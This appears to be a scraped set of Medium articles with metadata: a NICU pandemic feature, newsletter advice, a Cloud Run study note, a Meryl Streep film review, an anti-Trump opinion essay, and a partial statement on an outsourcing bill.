That’s why Christian thinks the end of Brickhouse, Yahoo’s idea incubator, doesn’t signal the end of innovation at Yahoo. “It’s a shame it got closed, but innovation is much more than just having a specialist department for it. Being a developer at the Yahoo Developer Network, I’m part of the team that looks after innovation. To me it happens by fostering internally and giving people time to build things. Microsoft does a lot of good research, Adobe has a lot of good stuff coming out of its labs, but you never see these things go live because they’re just proof of concepts and then they’re not going anywhere. Now’s the time for the geeks in the trenches to stand up and show they can be as innovative as those specialist departments. Chinese developers, for example, are stunning but they’re not the poster children of innovation. They do their work and are very pragmatic about it.” | https://medium.com/the-lindberg-interviews/interview-with-developer-evangalist-christian-heilmann-d2439aabc7ad | ['Oliver Lindberg'] | 2016-07-26 13:30:51.160000+00:00 | ['Accessibility', 'Hacking', 'Microsoft', 'Tech', 'Web Development'] |
The preemie babies of the pandemic | As hospitals scramble to handle the pandemic, some parents are struggling to see their babies in the NICU. The results could be catastrophic.
Photo: Samantha Lee/Insider
By Sarah DiGregorio
Back in May, Elijah Zorn lay in his incubator, all 3.8 pounds of him, a ventilator mechanically inflating his tiny chest. He was six weeks premature and had suffered a lack of oxygen to his brain at birth. He was airlifted from one hospital to another in critical condition. No one knew if he would survive.
Beside him sat Jeremy, his exhausted father. Elijah’s mother, Riannon, was miles away, recovering at home after a traumatic delivery. Yet she was desperate to be with her baby. “I have to see my kid,” she recalled thinking.
She was barred from visiting because of a rule instituted to prevent the spread of COVID-19. It was, and to some extent still is, common. It was designed with good intentions, but it goes against what we know about how to best care for premature babies.
A first-time visitor to a NICU might think that people have almost nothing to do with what happens there. It’s a place of technological intensity, where infants born prematurely or critically ill are treated with advanced life supports. Sometimes the tiny babies themselves are hard to see under all the machinery that keeps them alive.
That impression of the NICU, however, misses an important fact: Babies need human interaction to be healthy. Decades of research has shown that they especially need their parents. Most NICUs encourage parents or other caregivers to come anytime, to hold, touch, and speak with their babies, to feed them and even stay overnight.
Photo: Crystal Cox/Business Insider
When the pandemic hit, the open-armed way of running a NICU suddenly seemed impossibly dangerous, and everything about NICU care changed on a dime.
In the spring, hospitals were forced to restrict the number of people coming in and out, including parents with babies in the NICU. Some even barred parents completely. At first, it may have been understandable: health facilities were strained, supplies were scarce, testing was often unavailable, and knowledge about the effectiveness of masking and ventilation was still months away.
But nearly a year into the pandemic, some parents are still struggling to see their babies. On Twitter a recent video showed Juan Valadez, a first-time dad, playing guitar for his son, whom he got to see just once a week.
Neonatal providers are trying to find the best ways to balance competing health concerns within a void of national guidance, which many find distressing.
“This is an unresolved tension for us,” Dr. Valencia Walker, a neonatologist and associate chief diversity officer at Ohio’s Nationwide Children’s Hospital, told Insider. “There’s the safety of our healthcare workers and of other people in the hospital to consider. And then there is prioritizing the well-being of your patient. It’s an ongoing struggle.”
The crisis may worsen still, as a symptomatic COVID-19 infection seems to increase the likelihood of premature birth. Although some reports indicate fewer preterm births during the pandemic, the reason is unclear.
Comprehensive data on NICU restrictions do not exist yet, but the first study on the changes, published in August, looked at 277 care units. It found that 47% significantly restricted parents from seeing their babies, a significant shift from prepandemic times.
“In total, the rapid implementation of these sweeping changes may have substantial impact on parental and family well-being and may lead to detrimental effects on neonatal health outcomes,” the authors said.
‘Is he alive?’
When Elijah Zorn was born, on May 12, his future was deeply uncertain. Riannon’s water had broken at 24 weeks, but to delay birth, she’d been hospitalized until 34 weeks, when outcomes for babies are generally better.
As Riannon was being prepped for a cesarean section, Elijah’s body slipped into Riannon’s birth canal, but his head remained stuck inside her uterus. For 10 minutes, during which time he was deprived of oxygen, physicians struggled to get him out.
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Finally, Riannon recalled, she saw what looked like a blue rag doll being carried across the room. “Is he alive?” she said, before being put under general anesthesia.
Photo: Crystal Cox/Business Insider
Elijah was alive, though his Apgar scores, an index used to evaluate the condition of a newborn infant, were 0 and 1, meaning he was born without signs of life, and he was resuscitated. But the hospital was unable to provide the increasingly complex care he required, and he was soon transferred to the Nemours/Alfred I. duPont Hospital for Children, in Delaware, which had a higher-level NICU.
Riannon had emergency surgery and received a blood transfusion, but she felt as if she was going to pass out all the time, and she was in excruciating pain. She certainly couldn’t do the hour-plus drive from their home in Pennsylvania to Elijah’s hospital in Delaware.
By that point in the pandemic, the hospital allowed only one parent in the NICU, with no switching. Jeremy started going to see Elijah each day. For that first week, Elijah’s survival was in doubt, but it was hard for Riannon to know exactly what was happening.
Still, she knew she couldn’t be the designated caregiver because she wasn’t well enough to go alone every day. The Zorns also have a 5-year-old daughter, and her school was closed.
The couple called the hospital and begged for an exception, citing Elijah’s condition, which they eventually received. But there was still hospital bureaucracy to navigate.
“Several times we would get to the hospital and there would have been some kind of communication glitch and we would be sitting in the lobby for 45 minutes waiting for them to give the approval for me to go upstairs,” said Riannon.
It was clear to the Zorns that the staff were distressed by the restrictions and doing their best under heartbreaking circumstances. Still, the restrictions made everything more difficult, and they couldn’t wrap their minds around the logic of it. “Jeremy was coming home every night, sleeping in the same bed as me and then going back,” Riannon said. “We were equally contaminated!”
As Riannon and Elijah recovered, she wanted to give her husband a day off, but she worried whether she was healthy enough. Jeremy found it difficult, too.
“Being there alone was much more challenging than being there with someone. It was draining, not to have anyone to talk to,” he said. “Early on, it was hard because I felt like he had the wrong parent. If he was going to have one parent, it should be his mom, at least in our case. She needed to see him, too, psychologically. I felt there was a tension there: To get her there.”
At the end of the family’s stay, the policy changed to allow two caretakers at a time. Elizabeth Bradley, a NICU nurse manager at the duPont hospital, confirmed the change, but she added that it was possible the hospital might have to revert to one visitor if COVID-19 conditions worsened.
Over a Zoom call in October, Riannon gently bounced chubby-cheeked Elijah in her arms as he slept. He was still using a feeding tube that day, but he has since been weaned off it. His last brain scan was normal, and fears of major brain injury have faded.
“Now he looks me in the eyes and smiles. It seems like we are … not out of the woods, but things are progressing in the right direction,” said Riannon. “We are okay.”
Like coronavirus guidelines writ large, rules and regulations for NICUs in the pandemic vary
Photo: Crystal Cox/Business Insider
As regions across the US began to loosen restrictions for the general population, some NICUs encouraged parents and caregivers to come anytime, together or separately. But now, amid another nationwide surge, some are again halting plans to loosen restrictions or are beginning to reimpose them. Some never stopped.
There are no centralized guidelines about how hospitals should manage this crisis, and the only blanket rule is that people with active COVID-19 infections cannot come to the NICU. As with most health and safety measures during the pandemic, it is a patchwork of decisions, guided by the prevalence of the coronavirus cases in the area, the space the NICU has available, the risk tolerance of the hospital’s epidemiologists and administrators, and the interplay of state and local health departments.
It is highly variable — sometimes for good reason, because the spread of COVID-19 differs by location. But to families, this variability can seem capricious.
Dr. Elizabeth Rogers, a neonatologist at the University of California San Francisco Benioff Children’s Hospital, is disappointed by her own institution’s current policy, driven by the San Francisco Department of Public Health, which allows only one parent at the bedside at a time, except in narrow exceptions, such as if a baby is dying or end-of-life decisions must be made.
Recently, it added a 30-minute window in which parents can be together at the bedside as one arrives and the other leaves. The institution had planned to loosen the policy further, but the current surge in virus cases prevented that.
“The lack of parents as essential caregivers for neonatal patients is just an ongoing risk for our patients’ health,” she said. “We have limited a newborn to one parent. The birthing parent has just gone through the beautiful trauma of giving birth to a critically ill infant, and now they can’t have their partner in support of them. It’s just unconscionable.”
Rogers acknowledged the deep complexity of the issue and the need to balance the competing health and safety concerns. But she emphasized that trauma in the newborn period can last a long time. She said the balance needs to be rethought now that we’re armed with a better understanding of the virus.
“When we think about risk mitigation strategies for COVID-19 … we need to also think about risk mitigation for that long-term trauma of disruption of that family unit,” she said.
This resonates with Ari, of Queens, New York, who gave birth to her daughter at 33 weeks. (Ari asked that we only use her first name.) She had a difficult pregnancy, first with extreme nausea and vomiting, and then preeclampsia, a condition marked by high blood pressure and potential organ damage.
Ari’s blood pressure kept rising, necessitating an early cesarean section. Because her own condition was precarious, she was not allowed to see her daughter, Josephine, for 24 hours. Meanwhile, NYU Langone Hospital-Brooklyn allowed only one parent at a time.
A nurse cares for a premature baby as his mother looks on amid the coronavirus pandemic. Photo: Hannah McKay/PA Images/Getty
“It was hard enough that I wasn’t able to see her right after she was born because of my preeclampsia,” Ari told Insider. “But then one of us was allowed at a time, that was it.” (The one-parent rule is still in effect in the NICUs at NYU’s various hospital locations in New York City.)
Ari and her husband switched off as caregivers, and each would Facetime the other from the NICU. “It was hard on both of us,” she said, explaining that her husband felt he needed to be strong for her. “I cried every single drive home,” she said.
She said both she and her husband have struggled to feel bonded as a family. She was diagnosed with postpartum posttraumatic stress disorder, for which she is getting therapy and medication. “I constantly check to make sure she is breathing. I’m constantly checking to make sure there’s nothing wrong with her. If she gets hurt or she starts crying, it’s like a panic bell in me.”
The mental-health challenges have been the most difficult part of the ordeal. But the visitation restriction was not the root cause of her PTSD; she said it was the overwhelming and pervasive fear involved in having a critically ill infant in intensive care during a global pandemic. Being alone in the NICU only made it worse.
A complicating factor is the open-bay style of some NICUs, where incubators are grouped together in large rooms
The layout is a product of how the first NICUs were built in the 1960s and ’70s, as a way to maximize space and nurses’ workflow, before the developmental needs of babies and families were considered in NICU design. In these older-style NICUs, social distancing among staff and parents can be nearly impossible.
The aforementioned study, published in August, found that open-bay NICUs were more likely to put restrictions into place. Yet some open-bay NICUs have been able to welcome both parents back again.
Dr. Deborah Campbell is the director of neonatology at the Children’s Hospital at Montefiore, in the Bronx, which has two open-bay-style NICUs and allows two caretakers at a time.
She said the thinking behind the restrictions was complicated and often driven by the spread of the virus and the resulting strain on hospitals. She added that, in New York, hospitals were being asked to dust off their contingency plans as cases surged once again.
But Campbell cautioned against any assumption that resource-limited or open-bay NICUs have been more restrictive than others. She said she has been part of conversations on listservs of neonatology division directors across the US, and the web of restrictions was not universally or obviously correlated in one way or another.
“I know places that take care of people who can write big checks that are still very restrictive,” she said.
Walker, from Nationwide Children’s, would like to see this issue addressed in a more organized and holistic way, especially given that the coronavirus has been worsening in most of the country.
Photo: Crystal Cox/Business Insider
“We need a COVID task force of our own,” she said, suggesting a group of neonatal health care providers, infectious disease experts, and families who could work with hospitals around the country to provide national guidance and education.
“We have to balance the tension between keeping our health care professionals safe, keeping all our babies safe, and providing the care our patients need. We can’t prioritize one over the other because we will not be successful.”
The rate of preterm birth in the United States is 10.2 percent and rising — substantially higher than the rate in other wealthy countries. But that impact is not distributed equally: Black mothers are about 50 percent more likely to give birth early than white mothers in the United States, and research has shown that that increased risk is in large part due to the health consequences of racism.
Being low income is also an independent risk factor for preterm birth, for families of all races and ethnicities. The babies and families impacted by these restrictions, then, are more likely to be families of color or those with low income.
One potential problem with having no centralized guidance in a crisis is that policies can be enforced unequally. The Zorns got an exemption to see their son, as they should have, but they are white and relatively well-off. Would all families have been given that leeway? Would it have depended on how they were perceived, and who was doing the perceiving?
‘We have to hold leaders accountable’
For parents who find themselves with an infant in the NICU, the restrictions that have come with COVID-19 have made an already difficult situation — long commutes to the hospital, caring for other children, and inflexible work hours — almost untenable.
One of the first things Riannon Zorn noticed about the hospital where she gave birth was that the NICU still allowed two parents to be there — but at that time, it also restricted its hours to 8am to 5pm.
“That seems especially cruel to me,” she said. “Because any working parent? You either take the day off or you’re not seeing your kid at all.”
“What about the mom who doesn’t have a car?” Dr. Terri Ashmeade, a neonatologist and professor of pediatrics at the University of South Florida, said. “What about the mom who is relying on the bus? What about the mother who has three other children at home and doesn’t have an alternative caregiver?”
These barriers are just as real as COVID-19 restrictions, and they have only been worsened by the additional strain of the pandemic.
Dr. Rahul Gupta, chief medical and health officer at March of Dimes, said that while we may see this dilemma as separate from the big picture of the virus, it arises directly from mismanagement at the top. Actions — or inactions — on a federal level directly affect people’s lives, and this is an example.
“We have to fault the leaders for not adhering to the expert guidelines: This is one of the results,” he said. “We have to hold leaders accountable.”
“If both parents aren’t able to legitimately access their own child? It’s the leaders who are responsible for allowing the prevalence of the disease to be so high that the hospitals then have to institute those kinds of regulations to protect everyone.”
In the meantime, families are muddling through, doing their best to care for one another.
Hannah McCallister of Laramie, Wyoming, woke up one morning in January and realized she couldn’t feel her in-utero twins moving anymore. Normally they kept her up all night long.
She went straight to the hospital where she discovered her cervix was already dilated 5 centimeters. She was in preterm labor. She was transferred to a different hospital in Fort Collins, Colorado, where she remained on hospital bedrest for four weeks, until her pregnancy reached 34 weeks and her sons could be safely delivered.
But two weeks into the boys’ four-week hospitalization, the pandemic hit.
McCallister also has two young daughters at home, and her husband was on the road doing his field training after graduating from the police academy. The family struggled to find ways to make it all work.
Visiting restrictions were changing practically every day. At first, McCallister said, the hospital said it would allow no parents at all, but then switched to one parent. (It has since returned to two parents allowed at a time.)
“Well, I’m the milk producer here,” McCallister remembered thinking. “So I guess I will go and my husband will have to just wait.” It was confusing and frightening, she said. It was unclear if it was okay to visit her sons if she had, for instance, gone to the grocery store the day before. “It was hard leaving both the girls, then leaving the boys, and then leaving my husband,” she said. “Just not having any family time.”
Photo: Getty Images
She has reflected on what these difficulties meant for her family.
“I am grateful that the staff protected the babies. It’s not just our babies in there — it’s everyone else’s babies, too,” she said. “But it definitely put a strain on our marriage. And my girls didn’t have me during that time. They didn’t have the mom that they know because I was torn between two separate places.”
“There were numerous aspects that have been taken away from us to be able to connect as a family,” she said. “Now we’re trying to do that.”
Sarah DiGregorio is a freelance journalist and author focused on health care. Her book “EARLY: An Intimate History of Premature Birth and What it Teaches Us About Being Human” was published by Harper in January 2020. She is working on a new nonfiction book, “Taking Care,” about the history and culture of nursing. It is forthcoming from Harper. | https://medium.com/@night001bird/the-preemie-babies-of-the-pandemic-3c6b190c8930 | [] | 2020-12-13 04:03:14.495000+00:00 | ['Covid 19', 'Premature Babies', 'Parenthood', 'Pandemic', 'Pregnancy'] |
Medium Publications Should Include Article Links in Newsletters | Medium Publications Should Include Article Links in Newsletters
Leveraging the newsletter rewards writers and helps a publication grow
Photo by Yannik Mika on Unsplash
Having their work featured in a publication is one of the best ways that writers can achieve visibility on Medium. Some publications have hundreds of thousands of followers that visit the publication homepage on a daily basis. However, even publications with ten or twenty thousand followers can provide an enormous author boost by properly leveraging the newsletter feature available to all publications.
What is a Medium newsletter?
Medium publications allow publication owners to send out a newsletter to everyone who follows the publication. This is essentially a mass email that allows for fantastic visibility. The newsletter building tool is located right in the drop down menu on the publication page.
Writing a newsletter is similar to writing a regular Medium post. Publication owners can include text, images, and links to relevant articles. Here’s an example of a newsletter I wrote for my publication Write and Review:
Why publications should include article links in their newsletters
Above all, writers need visibility. Visibility through visits is how they get paid, and visibility through engagement helps writers stay motivated to produce more articles.
Writers have a natural incentive to submit their work to the largest publications. Having a link to one of their articles included in a newsletter that goes out to 200,000 followers is guaranteed to bring a huge surge of revenue to the author.
However, many of the larger publications don’t include author links in their newsletters. Therefore, smaller publications have a tremendous opportunity to attract new writers by making it known that they send out a regular newsletter that includes the links of their top writers.
Here’s an example of a thought provoking story that could be featured in a newsletter:
Don’t over-saturate the marketplace
One of the basics of email marketing is to not overdo it. Publication owners should not send out a daily email, or they risk losing followers. However, a monthly or bi-monthly newsletter with a dozen or so relevant links would be acceptable to the majority of followers.
Just because people follow your publication, does not mean that they are actively involved. A newsletter is a means by which publication owners can drive traffic to their publication and help enhance participation.
Highlighting stories helps ensure that the publication is never lacking high quality content, and the newsletter helps direct followers to the articles that they are likely to find compelling. It also allows your publication to play an important role in fighting social injustices like bigotry or racism:
Get the most out of your publication and reward your writers
Many writers are satisfied just to have their work recognized in a publication, but there are a lot of publishing opportunities on Medium. Highlighting quality articles helps fortify the commitment a writer has to your publication.
A bi-monthly newsletter that features approximately ten article links would help boost the visibility of a publication, and provide welcome attention (and revenue) to writers that have contributed worthy articles. It’s a win-win situation that will help a publication distinguish itself from the competition and attract the most talented writers. | https://medium.com/indian-thoughts/medium-publications-should-include-article-links-in-newsletters-6ccf24b5293f | ['Walter Rhein'] | 2020-07-04 22:31:00.983000+00:00 | ['Creativity', 'Entrepreneurship', 'Productivity', 'Advice', 'Writing'] |
Cloud Run (Road to Google Associate Cloud Engineer 2020 certification) | Cloud Run is a totally managed service to deploy containerized application without having knowledge on Kubernetes. It’s based upon an open standard Knative allowing applications portability.
It’s suitable for stateless HTTP applications and it allows to use any languages and libraries.
There are 2 different typologies for the service:
Cloud Run Fully managed
Cloud Run for Anthos
Fully Managed vs Anthos
While the Fully Managed version runs Knative API on top of the Google infrastructure, the Anthos version is based on Google Kubernetes Engine. This allows more complex configuration as supported by Kubernetes.
The main differences between the 2 types:
Billing: with Fully Managed you pay only when the application is running, billed to the nearest 100 milliseconds. With Cloud Run for Anthos, the price is part of the GKE or Anthos scheme. The Fully Managed is cheaper so when the cost is an important parameter, this the type to choose.
with Fully Managed you pay only when the application is running, billed to the nearest 100 milliseconds. With Cloud Run for Anthos, the price is part of the GKE or Anthos scheme. The Fully Managed is cheaper so when the cost is an important parameter, this the type to choose. Machine resources: the managed version is limited in terms of memory and CPU: 8GB for memory and 4 CPU max. With Anthos you have access to standard or custom machine types, including GPUs.
the managed version is limited in terms of memory and CPU: 8GB for memory and 4 CPU max. With Anthos you have access to standard or custom machine types, including GPUs. Networking: The access to VPC/Compute Engine for Fully Managed is possible using the Serverless VPC access. Anthos gives more freedom for the network configuration and it allows the usage of Cloud Accelerators. Also, Fully Managed is suitable only for HTTP/HTTPS workload. With Anthos you can use other protocol like for example Websockets (this feature is in Pre-GA for the Fully Managed)
Below a table from Google Cloud documentation summarizing the differences:
Trigger Cloud Run (Fully Managed)
The first way to call an application deployed used Cloud Run is the http trigger.
When deployed, Google Cloud provide a https url for the Cloud run instances. That makes possible to use it for:
Restful web API
Private microservices
Middleware or reverse proxy
Web applications
Another GCP service that can be used as trigger is Pub/Sub (Push, Pull is not possible since Cloud Run allocates the CPU only processing the request)
Cloud Scheduler and Cloud Task can also start Cloud Run workloads since they can call http url: in this way, it’s possible to execute scheduled and asynchronous tasks.
Other two triggers will be soon available:
Websocket
gRPC
Restrict ingress traffic
When you deploy a Cloud Run application you can decide to accept HTTP/HTTPS traffic from:
any source;
internal: only from same project or the VPC Service control perimeter;
internal and cloud load balancing: beyond the internal traffic, you can accept traffic from Internet through a Load Balancer (maybe combined with the Cloud Armor WAF).
Cloud Run or Cloud functions?
Both the services are serverless and fully managed. Cloud functions are quicker to setup and to develop (no Dockerfile to create for example) they are good for prototyping and optimal for low volumes.
Google Cloud website suggests to use Cloud Run instead of Cloud Functions:
You’re using languages or runtimes not supported in Cloud Functions
You want longer request timeouts (up to 15 minutes)
You’re expecting large volume and need concurrency (80 concurrent requests per container instance)
Cloud Run in the certification test
I haven’t found many questions about Cloud Run in the tests I’ve done to prepare. Generally, Cloud Run is the right response to questions mentioning serverless services, usable with any programming languages and where developers doesn’t want to manage the complexity of Kubernetes. | https://medium.com/@emanuele-pecorari/cloud-run-road-to-google-associate-cloud-engineer-2020-certification-4bad94dcc920 | ['Emanuele Pecorari'] | 2021-04-25 15:14:58.294000+00:00 | ['Gcp', 'Google Cloud Run', 'Google Cloud Platform', 'Certification'] |
My Year with Meryl Streep: Evening (2007) | I recently spent a whole year watching a Meryl Streep film every week, and I thought I’d share with you some of the reviews I wrote for her many classic films!
Evening (2007)
2007 was a strange year for Meryl. After the stellar summer of 2006, when A Prairie Home Companion opened to glowing reviews and The Devil Wears Prada became an unexpected smash at the box office, Meryl became busier than ever, shooting various projects with stellar casts and acclaimed directors. In one of her most prolific years since 1979, when Manhattan, The Seduction of Joe Tynan, and Kramer vs. Kramer were all released, 2007 gave us a Meryl movie seemingly every few weeks. Her underrated and mostly forgotten Dark Matter played at the 2007 Sundance Film Festival (but wasn’t officially released until early 2008), Evening came out in the summer, Rendition opened in October, and Lions for Lambs was released in November, as Oscar season was heating up.
She seemed to be everywhere that year, but what made 2007 particularly strange was not that she was in a lot of movies, but that she appeared in a lot of bad movies. Rendition falls flat, Lions for Lambs is a complete disaster, and Evening, the first of her three official 2007 films, is a major disappointment.
All of the elements are in place for Evening to be a great movie. Michael Cunningham, whose novel The Hours became the Academy Award-winning 2002 film with Meryl, co-wrote the screenplay to Evening with the author of the bestselling novel, Susan Minot. The Oscar-nominated director Lajos Koltai was coming off an acclaimed foreign film, Fateless. The ensemble cast is one of the most impressive to have ever been assembled — Claire Danes, Toni Collette, Vanessa Redgrave, Patrick Wilson, Hugh Dancy, Eileen Atkins, Glenn Close, and Natasha Richardson, in her final dramatic role. Meryl’s daughter Mamie Gummer appeared in her second major film role (after 2006’s The Hoax), playing the younger version of Meryl’s character Lila. Everything about this movie screamed success.
Two storylines are featured, one set close to present day, the other in the 1950s. The present day storyline is by far the weaker of the two. Redgrave plays Ann, who is spending her last dying days withering away in an upstairs bedroom. Her two adult children (Collette and Richardson, the latter of whom was Redgrave’s real life daughter) are spending time with her at the home, wanting to bond with their mother in the little time they still have. Ann speaks of a special time in her life, when she was in her twenties and attended the wedding of her friend, Lila. Danes plays the younger Ann, and during the course of a few memorable days, Ann pursues the gorgeous Harris (Wilson) while the quirky Buddy (Dancy) falls for her. When a tragedy occurs, nothing ever stays the same for Ann.
Evening is the sad case of a movie where everyone involved surely thought it was going to be a winner, but little about it works. Dancy is the one member of the cast who creates an intriguing character, a guy with inner demons who could have been the focus of a film all his own. Danes is solid as usual, and it’s especially bittersweet to watch Redgrave and Richardson share a tender moment on screen, when Richardson was two years away from her untimely death.
However, most of the film lays inert on the screen. Little tension is ever established, and most awkward of all is the cutting back and forth between storylines. Just when the 1950s narrative starts to get interesting, the director cuts back to the present day narrative, often not for just a minute or two, but for a long, unnecessary stretch of time. More effective would have been to open and end with the present day storyline, and allow the 1950s storyline to encompass the majority of the screen-time. Two or three scenes of Redgrave rotting away in a bed is sad; fifteen scenes of it is monotonous.
As dull and uneventful as the movie turned out to be, there are many parallels to previous Meryl movies worth noting for trivia buffs. As previously mentioned, this was Meryl’s second collaboration with Pulitzer Prize winner Michael Cunningham. Of all films she has made, Evening is very much like The Hours; both films deal with multiple narratives, both have a significant storyline set in the 1950s, and both star Meryl, Collette, and Danes. Meryl’s first film Julia, from 1977, won Vanessa Redgrave a Best Supporting Actress Oscar, and here, the two actresses got to have their first, and to date only, scene on film together. This movie marked the first time Meryl and her daughter Mamie appeared in the same project, and it was the second time for Meryl and her good friend Glenn Close (although never in the same scene, unlike in The House of the Spirits).
Meryl doesn’t actually appear in Evening until the third act, about ninety minutes in. In what amounts to little more than a cameo, Meryl, playing the older Lila, arrives at the home, walks upstairs, reminisces with Ann, shares a tender moment with Ann’s daughter Nina (Collette), and leaves; that’s about it. Meryl looks extremely old in Evening, with credible and unflattering make-up, and she does her best with a mostly nothing role that she probably took because she felt she had to.
The film had stellar talent in front of and behind the scenes, and her daughter Mamie was actually cast first — everyone on the crew therefore must have thought it pretty obvious to cast Meryl as the older version of her for the film’s conclusion. She gives the present day narrative a jolt of energy it desperately needs, and while it’s nowhere near her finest moment on screen, there’s a fascination in watching two pros like Meryl and Redgrave play a scene together, even if only for a few minutes.
Overall, Evening is a film that should have been great but rarely delivers. It bombed with most critics, was a clunker at the summer box office, and did not receive any year-end awards nominations that many involved likely expected. The film was a disappointment for Meryl, but most shocking of all, the lame Evening would actually be the best of her three 2007 films.
—
Brian Rowe is an author, teacher, book devotee, and film fanatic. He received his MFA in Creative Writing and MA in English from the University of Nevada, Reno, and his BA in Film Production from Loyola Marymount University in Los Angeles. He writes young adult and middle grade suspense novels, and is represented by Kortney Price of the Corvisiero Agency. You can read more of his work at his website, brianrowebooks.com. | https://medium.com/read-watch-write-repeat/my-year-with-meryl-streep-evening-2007-88d7aa488d1 | ['Brian Rowe'] | 2019-08-17 15:33:34.790000+00:00 | ['Movies', 'Meryl Streep', 'Drama', 'Film', 'Film Reviews'] |
The Reek of Desperation (Or, “Come Back, I Can Also Turn Into a Pig!”) | If TV news gave tribute to all 311,000 faces of Americans whose lives have been cut short by Covid-19 for only 60 seconds each for 24-hours/day, it would take over 215 days to show them all. Starting today, at one-minute-per-life, that broadcast would take until July 21, 2021. The “pro-life” political party in America is the “pro-execution” party. Every day is opposite day for them. Republicans are the extremist wing of a religion that used to be called Christianity and is now better known as Trumpism, or QAnon, a grievance-based religious faith founded on whatever today’s flavors and facts may be on these here Internets.
Democrats aren’t asking for three terms for Biden/Harris because Republicans are being so unfair to them in preparing for a peaceful transition. Democrats aren’t saying that when they are voted out, they shouldn’t have to leave if they don’t want to go. It’s really messed up that Republicans support Trump in his circle-jerk of deluded thoughts. Frankly, it’s psychotic.
Every time I read a Trump tweet, I imagine him sitting on the toilet in the White House or squashed inside an airplane lavatory. Or grumpy-looking, swashbuckling next to a golf cart. The Donald is still disputing the election because he isn’t done siphoning the rest of the gasoline out of his supporters’ gas tanks, simple as that. It’s important that Republicans eventually recognize and accept that Trump lost, unambiguously, his run for reelection. Voters were played by a guy who couldn’t even build a Wall to Nowhere correctly.
It’s important to hammer this point home, even over the persistent yelping and howling because, transitively, those who voted for him came out as losers this time, just as the Democrats and she-who-shall-not-be-named emerged as losers four years ago. In political sports, you either win or lose, and you get over it. There’s no ambiguity. If you’re wearing a red MAGA baseball cap, then you’re sad now because you lost the championship. This championship has sailed, sorry guys.
Until Republican leaders face the reckoning of their failure to connect with voters, their party will shrink and encapsulate evermore inbred, obnoxious, and violent beliefs, perpetrated by Alt-Right media networks like Fox News and nihilist media networks like Facebook and Twitter. Putting the winners and losers of this year’s election exhibit on-display and front-and-center (albeit temporarily), for all to see, is crucial if we are to move past this, forgive each other, and reintegrate America — or truly to integrate America for the very first time. This purgatory state only inhibits the restoration of unity, order, and civility. The losers of this election need to be shamed a little for their behavior or nobody will learn the lesson of these past four years.
The lesson is (or ought to be) that America can do better than the likes of Donald Trump. If we can’t do better than the circus sideshow of Trump’s Presidency, then we deserve the worst of what’s yet to come from Coronavirus, Russian hackery, and China out-superpowering us. The other lesson is that if ever the political leader of a country behaves without morality, then morality no longer applies to its citizens. The only thing that matters in a dystopian society like that is whether or not the guy on top can take power and hold it. Biden took it and did so honestly. This is the first I’ve heard in the past four years of Republicans complaining about anyone’s alleged dishonest behavior. It just figures they’d have it backwards about which guy was the one trying to cheat.
Even if in some bizarro otherworldly hidden 12th dimension of space in which Trump is right about Democrats being so well-organized and politically effective that they were able to steal independent elections simultaneously across all these many states while Republicans were in charge, such a false memory still misses the larger point in such a fictional tale, which is that Trump lost at stealing his own re-election. He lost at cheating, by failing to rally enough cheaters, even in the Gangster’s Paradise he created for himself during his presidency.
In the fabricated scenario he paints, Trump was out-conned, out-fleeced, and out-mob-bossed in the Art of The Steal. He was the loser, either by legitimate means or in his own flying monkey fantasies. Just as important as the fact that there was no sign of conspiracy by Democrats, in Trump’s America it was made OK to fudge the numbers and take things without permission. Trump himself OKed and normalized those behaviors. So even if the other side employed slight-of-hand somewhere (still no evidence of it), he couldn’t win at his own game.
Republicans just don’t get it and until they do, they won’t get over it. And they need to because America is waiting on them to move forward. They are in the way and clinging to the ankles of a failed leader who lost a simple popularity contest. It is false idol worship, plain and simple.
I haven’t heard whining like this since there was an honest black family-man serving in the White House. These election fraud claims are just the lies about Obama’s birth certificate all over again. Finish your tweet and get off the pot Donald. Other people need to use the bathroom. | https://medium.com/defaultmode/the-reek-of-desperation-or-come-back-i-can-also-turn-into-a-pig-a082fbc69dc2 | ['Matt Leclair'] | 2020-12-18 10:16:19.271000+00:00 | ['Biden', 'Trump', 'Politics'] |
The Era of Outsourcing is Over | During the campaign, Donald Trump made a 100 percent commitment to prevent United Technologies from shipping 2,100 jobs from Indiana to Mexico. All of us need to hold Mr. Trump accountable to make sure that he keeps this promise.
Let’s be clear: it is not good enough to save some of these jobs. We cannot rest until United Technologies signs a firm contract to keep all of these good-paying jobs in Indiana without slashing the salaries or benefits workers have earned.
United Technologies is not going broke. Last year, it made a profit of $7.6 billion and received over $6 billion in defense contracts. It has also received more than $50 million in corporate welfare from the Export-Import Bank and very generous tax breaks.
In 2014, United Technologies gave its former CEO Louis Chenevert a golden parachute worth over $172 million. Last year, the company’s five highest paid executives made over $50 million. The firm also spent $12 billion to inflate its stock price instead of using that money to invest in new plants and workers.
I call on Mr. Trump to make it clear to the CEO of United Technologies that if his firm wants to receive another defense contract from the taxpayers of this country, it must not move these plants to Mexico.
We need to send a very loud and very clear message to corporate America: the era of outsourcing is over. Instead of offshoring jobs, the time has come for you to start bringing good-paying jobs back to the United States of America.
If United Technologies or any other company wants to keep outsourcing decent-paying American jobs, those companies must pay an outsourcing tax equal to the amount of money it expects to save by moving factories to Mexico or other low-wage countries. They must pay back all of the tax breaks and other corporate welfare they have received from the federal government. And they must not be allowed to reward their executives with stock options, bonuses or golden parachutes for outsourcing jobs to low wage countries.
I will soon be introducing legislation to make sure that Donald Trump keeps his promise to prevent the outsourcing of American jobs. For the sake of American workers, this is a promise that cannot and must not be broken.”
Summary of the Outsourcing Prevention Act
In February, Carrier and UTEC announced that it would be closing two plants in Indianapolis and Huntington, Indiana shipping 2,100 jobs to Monterrey, Mexico, where workers are paid just $3 an hour. Both of these plants are owned by United Technologies. This legislation will provide a comprehensive solution to address this problem. United Technologies is not an outlier; it is representative of how so many multi-national corporations are taking advantage of our rigged economic system to pad their profits while hurting American workers. President-elect Trump made a promise during the campaign that he would prevent all of these jobs from being shipped overseas. The Outsourcing Prevention Act would make sure that Donald Trump keeps this promise by:
1. Preventing companies that outsource jobs from receiving federal contracts, tax breaks, grants or loans.
Last year, United Technologies received over $6 billion in federal contracts, making it the seventh largest recipient of federal contract funds. Over the past 15 years, this Fortune 500 company has used loopholes in the tax code to shelter more than two-thirds of its $38 billion in profits from federal taxation. It has also received over $50 million in corporate welfare from the Export-Import Bank. Under this legislation, companies would be barred from receiving future contracts, tax breaks, grants or loans from the federal government if they have announced plans to outsource more than 50 jobs overseas.
2. Clawing back federal benefits from companies that outsource jobs have received over the last decade.
This legislation would require all companies that outsource more than 50 jobs in a given year to pay back all federal tax breaks, grants and loans they have received from the federal government over the last decade.
3. Establishing an outsourcing tax on companies that move U.S. jobs offshore.
